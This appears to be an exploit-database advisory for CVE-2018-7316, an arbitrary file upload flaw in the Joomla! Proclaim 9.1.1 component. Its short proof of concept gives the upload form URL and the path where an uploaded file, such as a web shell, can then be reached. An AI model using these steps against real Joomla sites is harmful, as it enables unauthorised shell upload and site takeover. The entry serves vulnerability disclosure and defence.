Joomla! Proclaim component version 9.1.1 suffers from a remote shell upload vulnerability.
e4b3f4730e22f3b7318737ee5628509e# # # #
# Exploit Title: Joomla! Component Proclaim 9.1.1 - Arbitrary File Upload
# Dork: N/A
# Date: 22.02.2018
# Vendor Homepage: https://www.christianwebministries.org/
# Software Link: https://extensions.joomla.org/extensions/extension/living/religion/proclaim/
# Software Download: https://github.com/Joomla-Bible-Study/Joomla-Bible-Study/releases/download/v9.1.1/pkg_proclaim.zip
# Version: 9.1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-7316
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# Exploit Author: Ihsan Sencan
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# POC:
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# 1)
# http://localhost/[PATH]/index.php?option=com_biblestudy&view=mediafileform&layout=edit&id=1
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# http://localhost/[PATH]/images/biblestudy/media/[FILE]
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